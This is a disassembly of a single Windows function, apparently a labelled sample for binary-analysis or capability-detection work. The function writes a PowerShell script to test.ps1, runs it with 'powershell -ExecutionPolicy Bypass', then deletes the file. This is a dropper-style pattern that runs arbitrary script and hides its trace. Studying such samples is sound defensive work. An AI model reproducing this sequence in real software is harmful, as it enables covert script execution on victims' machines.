Function at 0x406620
Capabilities:
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41db10
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
mov eax, dword [0x42600c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xc8], 0
push 0xb0
lea eax, [ebp - 0xc4]
mov dword [ebp - 4], 0
push 0
push eax
mov byte [ebp - 4], 1
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0xc4], 0x4206f4
lea ecx, [ebp - 0x5c]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0xc8], 1
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc4], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xc8], eax
lea eax, [ebp - 0xc0]
mov ecx, eax
mov dword [ebp - 0xcc], eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xc0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0x78], 0
mov byte [ebp - 0x83], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x426918]
mov ecx, dword [0x42691c]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x88], 0
push ecx
push 2
push str.test.ps1
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 5
call fcn.00404a90
test eax, eax
lea ecx, [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
push 0
je 0x406773
add ecx, dword [eax + 4]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
jmp 0x40677e
add ecx, dword [eax + 4]
push 2
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
cmp dword [ebp + 0x1c], 0x10
lea edx, [ebp + 8]
push dword [ebp + 0x18]
cmovae edx, dword [ebp + 8]
lea ecx, [ebp - 0xc4]
call fcn.0040a830
add esp, 4
mov ecx, eax
push 0x409bd0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0xc0]
call fcn.004048a0
test eax, eax
jne 0x4067ce
push eax
mov eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0xc4]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push str.powershell__ExecutionPolicy_Bypass__F_test.ps1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.test.ps1
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 8
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xc4]
call fcn.00403670
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x406833
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406829
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x406829
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
mov al, 1
jmp 0x406847
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041c42c
mov esp, ebp
pop ebp
ret